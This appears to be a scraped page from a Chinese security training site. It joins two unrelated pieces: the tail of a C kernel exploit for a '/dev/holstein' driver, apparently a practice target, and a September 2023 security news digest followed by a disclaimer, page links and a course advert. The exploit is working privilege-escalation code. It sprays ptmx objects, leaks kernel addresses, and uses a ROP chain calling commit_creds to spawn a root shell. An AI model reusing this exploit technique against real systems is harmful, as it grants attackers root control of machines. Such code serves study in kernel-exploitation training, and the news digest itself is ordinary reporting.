"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;
p[0x2a] = 0;
p[0x2b] = 0;
p[0x2c] = (unsigned long)backdoor;
p[0x2d] = user_cs;
p[0x2e] = user_rflags;
p[0x2f] = user_sp;
p[0x30] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
网络安全日报 2023年09月13日
1、新型WiKI-Eve攻击可通过WiFi窃取数字密码
https://arxiv.org/pdf/2309.03492.pdf 一种名为“WiKI-Eve”的新攻击可以拦截连接到现代 WiFi 路由器的智能手机的明文传输,并以高达 90% 的准确率推断出单个数字击键,从而使数字密码被窃取。WiKI-Eve 利用 BFI(波束成形反馈信息),这是 2013 年随 WiFi 5 (802.11ac) 引入的一项功能,它允许设备向路由器发送有关其位置的反馈,以便后者可以更准确地引导其信号。BFI 的问题在于,信息交换包含明文形式的数据,这意味着这些数据可以被拦截并轻松使用,而无需硬件黑客攻击或破解加密密钥。这个安全漏洞是由中国和新加坡的一组大学研究人
2、米高梅酒店集团在网络攻击后被迫关闭IT系统
https://twitter.com/MGMResortsIntl/status/1701256032369164399 米高梅国际酒店集团 (MGM Resorts International) 今天披露,该公司正在处理影响其部分系统的网络安全问题,包括其主要网站、在线预订以及 ATM 机、老虎机和信用卡机等赌场内服务。“米高梅度假村最近发现了一个影响公司部分系统的网络安全问题,”该公司在 X(以前称为 Twitter)上的个人资料页面上宣布。该公司表示, 在发现问题后立即开始调查,“并立即采取行动保护我们的系统和数据,包括关闭某些系统。”停电似乎是从周日晚上开始的,度假村的计算机系统目
3、Charming Kitten组织利用Sponsor后门发起网络攻击
https://www.welivesecurity.com/en/eset-research/sponsor-batch-filed-whiskers-ballistic-bobcats-scan-strike-backdoor/ 伊朗组织Charming Kitten使用先前未记录的名为 Sponsor 的后门针对巴西、以色列和阿联酋不同实体的发起了新一波攻击。该组织主要针对教育、政府和医疗保健组织,以及人权活动家和记者。Sponsor 后门使用存储在磁盘上的配置文件。这些文件是通过批处理文件谨慎部署的,并故意设计成无害的,从而试图逃避扫描引擎的检测。该活动被称为“Sponsoring
4、ADOBE 修复了 ACROBAT 和 READER 中被利用的零日漏洞
https://securityaffairs.com/150733/security/adobe-zero-day-acrobat-reader.html 软件巨头 Adobe 警告 PDF Acrobat 和 Reader 中存在严重安全漏洞,该漏洞已被广泛利用。该漏洞编号为CVE-2023-26369,是一个越界写入内存安全问题,可被利用在易受攻击的安装上执行任意代码。
5、一种新的 REPOJACKING 攻击可导致 4,000 多个 GITHUB 项目被攻击
https://securityaffairs.com/150713/hacking/repojacking-attack-github-repositories.html Checkmarx 研究人员发现 GitHub 中的一个新漏洞可能导致 4,000 多个软件包遭受重新劫持 攻击。在RepoJacking攻击中,攻击者在合法创建者更改用户名后索取存储库的旧用户名,然后发布同名的恶意存储库以诱骗用户下载其内容,Checkmarx 发现攻击者可以利用在 GitHub 上创建存储库和重命名用户名的进程之间的竞争条件。
6、Anonymous sudan对 Telegram 发起 DDoS 攻击
https://securityaffairs.com/150690/hacking/anonymous-sudan-ddos-on-telegram.html 在 Telegram 暂停该组织的账户后,Anonymous sudan对 Telegram 发起了 DDoS 攻击。
7、为监控用户,纽约警方花费数百万美元抓取社交媒体数据
https://www.freebuf.com/news/377785.html 据Cyber News披露,美国纽约警方为了监视社交媒体上的用户及内容,花费数百万美元与一家曾被指控不当抓取平台数据的监控公司签订了合同。
8、Facebook 惊现网络钓鱼浪潮,每周攻击 10 万个账户
https://www.freebuf.com/news/377769.html Bleeping Computer 网站披露,某黑客组织通过一个伪造和受损的 Facebook 账户网络,发送数百万条 Messenger 钓鱼信息,利用密码窃取恶意软件攻击 Facebook 企业账户。
9、谷歌推出隐私沙盒,将Chrome浏览记录用于广告
https://www.bleepingcomputer.com/news/google/google-rolls-out-privacy-sandbox-to-use-chrome-browsing-history-for-ads/ 谷歌已经开始推出其新的基于兴趣的广告平台,称为隐私沙盒,将用户兴趣的跟踪从第三方cookie转移到Chrome浏览器。
10、黑客利用G20峰会通过虚假政府网站诈骗
https://thecyberexpress.com/g20-summit-india-2023-hackers-g20-scams/ 一些网络安全机构、政府和非政府机构以及记者正在密切关注这一事件,以阻止针对G20峰会的任何威胁。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

